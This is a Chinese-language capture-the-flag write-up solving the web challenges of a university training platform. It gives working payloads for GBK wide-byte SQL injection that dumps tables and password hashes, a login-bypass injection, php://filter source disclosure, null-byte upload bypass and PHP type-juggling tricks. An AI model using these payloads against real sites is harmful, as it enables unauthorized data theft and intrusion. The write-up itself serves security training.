南京邮电大学网络攻防平台WEB题
南京邮电大学网络攻防平台WEB题
平台地址:http://ctf.nuptsast.com/
签到题:
右键查看源代码,得到flag
md5 collision:
传入的a的md5值要为0e开头的,但不能是QNKCDZO,百度一个0e开头的md5
得到flag
签到2:
右键查看源代码
输入框允许的最大长度为10,口令的长度为11
使用hackbar post一下
得到flag
这题不是WEB:
下载图片,用记事本打开
拉到最后,得到flag
层层递进:
是一个网站页面,先扫一下
有个404.html
查看一下源代码,得到flag
AAencode:
这题为javascript aaencode解密题,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode
单身二十年:
右键查看源代码
点击进入,得到flag
php decode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php function CLsI( $ZzvSWE ) { $ZzvSWE = gzinflate( base64_decode ( $ZzvSWE )); for ( $i = 0; $i < strlen ( $ZzvSWE ); $i ++) { $ZzvSWE [ $i ] = chr (ord( $ZzvSWE [ $i ]) - 1); } return $ZzvSWE ; } eval (CLsI( "+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==" ));?> |
把eval改为echo,在本地用phpstudy测试一下
得到flag
文件包含:
点进去
用php://filter/读取index.php
构建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
为base64加密,解密一下得到flag
单身一百年也没用:
开启firebug,在“网络”里查看包,点击链接,查看包,得到flag
Download~!:
这类又两个下载链接,复制一下一个地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,后面为base64加密,下载download.php,对download.php进行base64加密后下载
下载后打开
发现一个hereiskey.php,下载后打开,得到flag
COOKIE:
在firebug里的cookies处修改一下,把0改成1,然后刷新页面
得到flag
MYSQL:
直接在后面加个robots.txt
id不等于1024才给输出内容,intval()函数又是获取整数值,直接传入1024.1,得到flag
sql injection 3:
加个单引号
单引号被过滤了,看来是宽字节注入,查一下字段
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' order by 1,2,3,4,5 %23 |
报错
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' order by 1,2 %23 |
没报错
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' order by 1,2,3 %23 |
报错
有2个字段
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,2 %23 |
爆出了个2,查一下数据库
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,database() %23 |
爆出了一个数据库
爆一下表
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 |
爆出了5个表:ctf,ctf2,ctf3,ctf4,news
爆一下ctf的字段
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23 |
得到2个字段
爆一下内容
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,group_concat(user,pw) from ctf %23 |
爆出一个admin和一个md5密文
解一下密
密文为njupt
试了ctf2和ctf3都没有找到flag
试ctf4的时候看到了一个flag字段
爆一下内容
得到flag
/x00:
ereg()函数可以%00截断,当传入的nctf为数组时,它的返回值不是FALSE,直接传入nctf[]得到flag
bypass again:
传入的a和b的值不相等,但是md5的值相等,可以用数组
得到flag
变量覆盖:
点击,看一下源代码
extract()函数变量覆盖$pass和$thepassword_123
得到flag
PHP是世界上最好的语言:
访问一下index.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php if ( eregi ( "hackerDJ" , $_GET [id])) { echo ( "<p>not allowed!</p>" ); exit (); } $_GET [id] = urldecode( $_GET [id]); if ( $_GET [id] == "hackerDJ" ) { echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } ?> <br><br> Can you authenticate to this website? |
eregi()函数判断id传入的值是否为hackerDJ,传入的id的值url解码后要跟hackerDJ相同,对hackerDJ进行两次url编码
http: //way .nuptzj.cn /php/index .php? id =%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41 |
得到flag
伪装者:
这里提示本地登陆
Header:
打开Firebug,刷新一下界面,得到flag
上传绕过:
选择一个图片文件上传,用burp抓包
在/uploads/后加一个php的后缀名,然后%00截断,发包得到flag
SQL注入1:
点击Source,查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php if ( $_POST [user] && $_POST [pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim( $_POST [user]); $pass = md5(trim( $_POST [pass])); $sql = "select user from ctf where (user='" . $user . "') and (pw='" . $pass . "')" ; echo '</br>' . $sql ; $query = mysql_fetch_array(mysql_query( $sql )); if ( $query [user]== "admin" ) { echo "<p>Logged in! flag:******************** </p>" ; } if ( $query [user] != "admin" ) { echo ( "<p>You are not admin!</p>" ); } } echo $query [user]; ?> |
用admin')把语句闭合,用--把后面的语句注释掉,如果是admin的话,就能得到flag
构造语句:admin') -- aaa,密码随便填
pass check:
代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php $pass =@ $_POST [ 'pass' ]; $pass1 =***********; //被隐藏起来的密码 if (isset( $pass )) { if (@! strcmp ( $pass , $pass1 )){ echo "flag:nctf{*}" ; } else { echo "the pass is wrong!" ; } } else { echo "please input pass!" ; } ?> |
strcmp()函数对$pass和$pass1进行比较,如果一样的话返回flag,strcmp()比较的结果相同时会返回0,比较数组的时候会返回null,null和0在判断中相等
用hackbar post一个数组
得到flag
起名字真难:
源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php function noother_says_correct( $number ) { $one = ord( '1' ); $nine = ord( '9' ); for ( $i = 0; $i < strlen ( $number ); $i ++) { $digit = ord( $number { $i }); if ( ( $digit >= $one ) && ( $digit <= $nine ) ) { return false; } } return $number == '54975581388' ; } $flag = '*******' ; if (noother_says_correct( $_GET [ 'key' ])) echo $flag ; else echo 'access denied' ; ?> |
不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入
http: / / chinalover.sinaapp.com / web12 / index.php?key = 0xccccccccc |
得到flag